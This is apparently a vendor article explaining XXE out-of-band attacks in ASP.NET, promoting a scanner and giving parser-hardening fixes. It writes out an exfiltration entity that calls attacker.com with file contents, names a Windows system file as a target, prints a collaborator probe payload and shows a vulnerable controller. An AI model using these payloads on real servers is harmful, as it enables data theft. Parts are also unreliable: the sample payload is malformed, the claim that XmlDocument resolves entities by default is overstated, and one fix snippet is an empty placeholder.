Xxe Oob in Aspnet

XML External Entity Out-of-Band (XXE OOB) attacks in ASP.NET applications occur when XML parsers process user-controlled input containing malicious external entity references that trigger network requests to attacker-controlled servers. Unlike in-band XXE, OOB exfiltrates data via DNS or HTTP requests rather than direct response leakage, making it harder to detect via traditional error messages.

In ASP.NET, this commonly arises in endpoints consuming XML via XmlDocument, XDocument, or XmlSerializer without disabling external entity resolution. For example, a SOAP endpoint using legacy XmlDocument might process a <Envelope> containing:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/exfiltrate?data=%file;"> %xxe; ]>
<foo>&xxe;</foo>

If the parser resolves the external entity, it triggers an HTTP request to attacker.com with file contents in the query string. ASP.NET-specific vectors include:

• ASP.NET Web API controllers using [FromBody] with XML formatters and XmlSerializer where XmlReaderSettings.DtdProcessing is not set to DtdProcessing.Prohibit.
• WCF services with basicHttpBinding and default XmlDictionaryReaderQuotas that allow external DTDs.
• ASP.NET Core middleware processing XML payloads via System.Xml.XmlReader created from user input without secure settings.
• Legacy ASMX web services (still present in some enterprise apps) using SoapDocumentMethod with unsafe deserialization.

Attackers often target file read operations (e.g., %file; pointing to file:///c:/windows/win.ini) or use blind OOB techniques to confirm server-side XML processing when error messages are suppressed.

Detecting XXE OOB in ASP.NET requires identifying XML parsing endpoints where external entity resolution is enabled and user input reaches the parser without validation. middleBrick’s black-box scanner checks for this by:

• Injecting XML payloads with OOB-triggering entities (e.g., <!ENTITY % xxe SYSTEM "http://[unique-subdomain].burpcollaborator.net"> %xxe;) into common XML-consuming endpoints (POST/PUT with Content-Type: text/xml or application/xml).
• Monitoring for DNS/HTTP interactions via its integrated OOB channel (similar to Burp Collaborator) to detect external entity resolution.
• Cross-referencing OpenAPI specs (if available) to identify operations expecting XML and testing them with malicious payloads.

For example, middleBrick flags an ASP.NET Core endpoint like this:

[HttpPost]
public IActionResult ProcessXml([FromBody] string xmlData)
{
    var doc = new XmlDocument();
    doc.LoadXml(xmlData); // User input directly loaded
    return Ok(doc.InnerXml);
}

If the scanner detects an OOB request triggered by the payload, it reports a finding under the "Input Validation" category with severity "High", noting that XmlDocument.LoadXml() resolves external entities by default. It also checks for ASP.NET-specific mitigations: whether XmlReaderSettings is configured with DtdProcessing.Prohibit or if XmlSerializer uses a custom XmlReader with unsafe settings.

Unlike SAST tools, middleBrick tests the runtime unauthenticated surface — so it finds issues even in endpoints without OpenAPI specs by probing common XML endpoints (e.g., /api/soap, /webservices/service.asmx).

Fixing XXE OOB in ASP.NET requires configuring XML parsers to disallow external entity resolution and DTD processing. The approach varies by API type but relies on native .NET libraries:

• XmlDocument/XDocument (ASP.NET Framework/Core): Always use XmlReaderSettings with DtdProcessing.Prohibit and XmlResolver = null.

var settings = new XmlReaderSettings
{
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null // Prevents external resolution
};
using (var reader = XmlReader.Create(new StringReader(userXml), settings))
{
    var doc = new XDocument();
    doc.Load(reader);
    // Process doc safely
}

public T DeserializeSafe<T>(string xml)
{
    var serializer = new XmlSerializer(typeof(T));
    var settings = new XmlReaderSettings
    {
        DtdProcessing = DtdProcessing.Prohibit,
        XmlResolver = null
    };
    using (var reader = XmlReader.Create(new StringReader(xml), settings))
    {
        return (T)serializer.Deserialize(reader);
    }
}

builder.Services.AddControllers(options =>
{
    options.InputFormatters.Clear();
    options.InputFormatters.Add(new XmlSerializerInputFormatter(options)
    {
        // Ensure XmlReaderSettings are secure
        // (Custom formatter implementation required)
    });
});

For WCF services, set maxItemsInObjectGraph and use a custom XmlDictionaryReaderQuotas with MaxStringContentLength limits, but critically, implement a MessageEncoder that uses XmlDictionaryReader.CreateDictionaryReader with DtdProcessing.Prohibit.

Additionally, validate XML against a strict XSD schema using XmlSchemaSet and ValidationEventHandler to reject unexpected structures. Never rely on input sanitization — disable XXE at the parser level. After fixing, rescan with middleBrick to confirm the OOB channel no longer triggers.